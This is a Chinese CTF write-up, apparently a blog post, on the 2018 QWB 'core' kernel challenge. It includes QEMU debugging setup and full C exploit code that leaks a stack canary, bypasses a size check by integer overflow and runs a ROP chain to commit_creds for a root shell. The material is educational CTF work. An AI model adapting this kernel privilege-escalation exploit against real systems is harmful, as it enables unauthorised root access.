题目:2018-qwctf-core_give
拿到压缩包后发现vmlinux文件,就不需要手动解包了,然后解包core.cpio包,得到core目录如下:
└── core
├── bin
├── etc
├── lib
│ └── modules
│ └── 4.15.8
│ └── kernel
│ ├── arch
│ │ └── x86
│ │ └── kvm
│ ├── drivers
│ │ ├── thermal
│ │ └── vhost
│ ├── fs
│ │ └── efivarfs
│ └── net
│ ├── ipv4
│ │ └── netfilter
│ ├── ipv6
│ │ └── netfilter
│ └── netfilter
├── lib64
├── proc
├── root
├── sbin
├── sys
├── tmp
└── usr
├── bin
└── sbin
重点关注对象:start.sh
#这里需要修改一下允许内存大小,不然会运行不起来
#指定shell解释器,不然会报错找不到pushd命令
#这里因为开启了kaslr也就是随机地址,但是为了方便调试就先关闭一下,后面记得改回来
#这里不能使用-kvm ,我在调试的时候会发生调试动不了的情况,貌似是因为该文件系统已经指定了x86的kvm(这里我费了好久时间我还在想为什么调试不了。。。。)
#!/bin/zsh
gcc exp.c -g -w -static -o core/exp
pushd core
find . | cpio -o --format=newc > ../core.cpio
popd
#-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 原
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \ #新增参数 ,为了方便终止进程使用ctrl+c即可终止,不然就需要手动kill -9 PID去杀死
core/init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #这里是重点,将进程地址信息 转移到了 /tmp/kallstms 这样普通用户就可以读取kallsyms内容了
echo 1 > /proc/sys/kernel/kptr_restrict #普通用户不能查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict #普通用户不能通过lsmod查看ko地址
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #内涵加载的模块
#poweroff -d 120 -f & #这里去掉关机
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh #这里在调试的时候可以使用root查看ko基地值,但是前面去掉了kasrl所以这里也可以不需要改,看个人习惯
echo 'sh end!\n'
umount /proc
umount /sys
#poweroff -d 0 -f #去掉关机
那么小改上面的文件后就可以对内核进行调试了,但是只能单步调试和断点调试,因为附件提供的core.ko文件没有符号表,实测如下:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-unyTs4s5-1650252140082)(2018-qwctf-core_give.assets/image-20220418102247377.png)]](https://i-blog.csdnimg.cn/blog_migrate/490601093bbf62c6d87f4059321f7a67.png)
单步运行没问题:

next发生报错:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqDdsLwn-1650252140086)(2018-qwctf-core_give.assets/image-20220418102514305.png)]](https://i-blog.csdnimg.cn/blog_migrate/06f24292349da6577ddde39927e9c658.png)
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8sStCjWk-1650252140086)(2018-qwctf-core_give.assets/image-20220418103451864.png)]](https://i-blog.csdnimg.cn/blog_migrate/678e9b9b54c2d5c5a00ac2530aed8558.png)
分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FRXC7sAz-1650252140087)(2018-qwctf-core_give.assets/image-20220418103601370.png)]](https://i-blog.csdnimg.cn/blog_migrate/1ca8a146735186968fa60dd4bb67f128.png)
这里通过proc虚拟文件节点方式创建了一个内核通信通道,同样的手法还有通过dev设备文件节点实现内核通信
结构体定义如下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ud3yujyx-1650252140088)(2018-qwctf-core_give.assets/image-20220418103941291.png)]](https://i-blog.csdnimg.cn/blog_migrate/2a0497002495c29b8d93174ff9a5a149.png)
core_ioctl:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QUfHVNia-1650252140089)(2018-qwctf-core_give.assets/image-20220418104029320.png)]](https://i-blog.csdnimg.cn/blog_migrate/6f998f29c933be1c95ed70264026d978.png)
core_read:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hpYdcDQg-1650252140090)(2018-qwctf-core_give.assets/image-20220418104318790.png)]](https://i-blog.csdnimg.cn/blog_migrate/80b26df945680e48d3f17882def6a04a.png)
core_copy_func:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2A3hJTGS-1650252140090)(2018-qwctf-core_give.assets/image-20220418104426430.png)]](https://i-blog.csdnimg.cn/blog_migrate/f6556ec001d1b052509b7c5073d504c4.png)
core_write:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DRiHCHED-1650252140092)(2018-qwctf-core_give.assets/image-20220418104525817.png)]](https://i-blog.csdnimg.cn/blog_migrate/580c83cc0cd7f780850c508d2d0a5e25.png)
总结如下:
core_read有一个输出信息可以进行泄漏canary
coew_write + core_copy_func可实现将数据写入到栈中(可使用整型溢出绕过size的检测)
思路
因为为了调试,前面关闭了kaslr,可以先暂时不用计算具体地址,将环境rop打通后再计算偏移地址即可
保存用户态+泄漏canary
int main(){
save();
int fd = open("/proc/core",2);
int offset = get_offset();
//###################leak canary#############################################
char buf[0x40]; //这里开辟0x40的空间 防止后面read时栈溢出
setOff(fd,0x40); //canary的偏移为0x40
reads(fd,buf); //将数据读入buf
size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
printf("canary -> %p\n",canary); //打印读入数据
通过整型溢出绕过size检查
//###################rop #############################################
size_t rop[0x100] = {0}; //初始化栈空间数据
int i = 8;
rop[i++] = canary; //偏移为0x40
rop[i++] = 0; //rbp //实际调试时rbp位置
rop[i++] = POP_RDI + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
rop[i++] = &getRoot;
rop[i++] = SWAPGS + offset;
rop[i++] = 0;
rop[i++] = &intoUserStatus;
write(fd,rop,sizeof(rop)); //向bss->name 写入数据
copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
//这里注意下因为qmemcpy(&v2, &name, (unsigned __int16)size);使用的是int16所以实际只取到了0x0100,
}
在去掉kasrl后这里的POP_RFI、MOV_CR4_RDI都可以通过ROPgadget中得到,getRoot的函数地址也是同样在内核中可以通过cat /tmp/kallsyms | grep "commit_creds"
exp.h
#include<stdio.h>
#include<unistd.h>
#define POP_RDI 0xffffffff81000b2f
#define MOV_CR4_RDI 0xffffffff81075014 //: mov cr4, rdi ; push rdx ; popfq ; ret
//#define prepare_kernel_cred 0xffffffff8109cce0 //内核中cat tmp/kallsyms | grep prepare_kernel_cred
//#define commit_creds 0xffffffff8109c8e0 //同上
#define SWAPGS 0xffffffff81a012da //: swapgs ; popfq ; ret
long long commit_creds;
long long prepare_kernel_cred;
long long vmlinux_base;
//###########################util##########################
size_t user_cs,user_ss,user_sp,user_flags;
void save(){
asm(
"mov %cs , user_cs;" //cs寄存器只能通过mov保存
"mov %ss , user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_flags;"
);
}
void getRoot(){
char* ((*pkc)(int)) = prepare_kernel_cred;
void ((*cc)(char*)) = commit_creds;
(*cc)((*pkc)(NULL));
}
void getShell(){
execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
: "r"(user_ss) ,"r"(user_sp) ,"r"(user_flags) , "r"(user_cs) ,"r"(&getShell)
);
}
此时在没有地址随机时就可以完成提权了(具体细节再修补一下)
上面就完成了rop的搭建现在就只需要计算具体地址的偏移就可以了
这里使用pwntools计算偏移就很方便
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UAtk9vMG-1650252140092)(2018-qwctf-core_give.assets/image-20220418111134901.png)]](https://i-blog.csdnimg.cn/blog_migrate/11b92f340faf53afc5661b5c5905e675.png)
有了相对偏移后再得到commit_creds的真实地址后即得到模块的基地址
获取真实地址:
int get_offset(){
FILE* fd = fopen("/tmp/kallsyms","r");
char buff[100];
while(1){
if(fgets(buff,100,fd))
{
if(strstr(buff,"commit_creds")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&commit_creds);
}
if(strstr(buff,"prepare_kernel_cred")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&prepare_kernel_cred);
}
}
else
break;
}
vmlinux_base = commit_creds - 0x9c8e0;
printf("commit_creds -> %llx\n",commit_creds);
printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
printf("vmlinux_base-> %llx\n",vmlinux_base);
fclose(fd);
return vmlinux_base - 0xffffffff81000000;
}
有了偏移后即得指定具体的POP_RDI
完整exp:
exp.c
#include "exp.h"
//###########################func##########################
void reads(int fd, char * buf){
ioctl(fd,0x6677889B,buf);
}
void setOff(int fd,size_t size){
ioctl(fd,0x6677889C,size);
}
void copy(int fd,size_t size){
ioctl(fd,0x6677889A,size);
}
int get_offset(){
FILE* fd = fopen("/tmp/kallsyms","r");
char buff[100];
while(1){
if(fgets(buff,100,fd))
{
if(strstr(buff,"commit_creds")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&commit_creds);
}
if(strstr(buff,"prepare_kernel_cred")){
char des[20] = {0};
strncpy(des,buff,16);
sscanf(des,"%llx",&prepare_kernel_cred);
}
}
else
break;
}
vmlinux_base = commit_creds - 0x9c8e0;
printf("commit_creds -> %llx\n",commit_creds);
printf("prepare_kernel_cred -> %llx\n",prepare_kernel_cred);
printf("vmlinux_base-> %llx\n",vmlinux_base);
fclose(fd);
return vmlinux_base - 0xffffffff81000000;
}
//###########################main##########################
int main(){
save();
int fd = open("/proc/core",2);
int offset = get_offset();
//###################leak canary#############################################
char buf[0x40]; //这里开辟0x40的空间 防止后面read时栈溢出
setOff(fd,0x40); //canary的偏移为0x40
reads(fd,buf); //将数据读入buf
size_t canary = ((size_t*)buf)[0]; //将buf转为指针格式,取值第一个指针值
printf("canary -> %p\n",canary); //打印读入数据
//###################rop #############################################
size_t rop[0x100] = {0};
int i = 8;
rop[i++] = canary;
rop[i++] = 0; //rbp //实际调试时rbp位置
rop[i++] = POP_RDI + offset;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI + offset; //这里也可以不用,我开始以为开了smep保护
rop[i++] = &getRoot;
rop[i++] = SWAPGS + offset;
rop[i++] = 0;
rop[i++] = &intoUserStatus;
write(fd,rop,sizeof(rop)); //向bss->name 写入数据
copy(fd,0xffffffffffff0100); //将bss->name 数据复制到 stack中
}
getshell
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MkBfsDcM-1650252140093)(2018-qwctf-core_give.assets/image-20220418111916326.png)]](https://i-blog.csdnimg.cn/blog_migrate/9c3bb3a6fccb223ff5d116de27a921b0.png)
参考资料:https://lantern.cool/note-pwn-kernel-rop/#%E5%88%86%E6%9E%90
本文详细介绍了如何通过分析内核核心转储文件(core dump)来构建ROP链,以实现内核级别的权限提升。在禁用kaslr后,通过proc文件系统节点创建内核通信通道,利用整型溢出绕过size检查,泄露canary并构造ROP链,最终达到提权的目的。文章还提供了相关源代码片段和调试过程,展示了内核漏洞利用的技术细节。
1061

被折叠的 条评论
为什么被折叠?



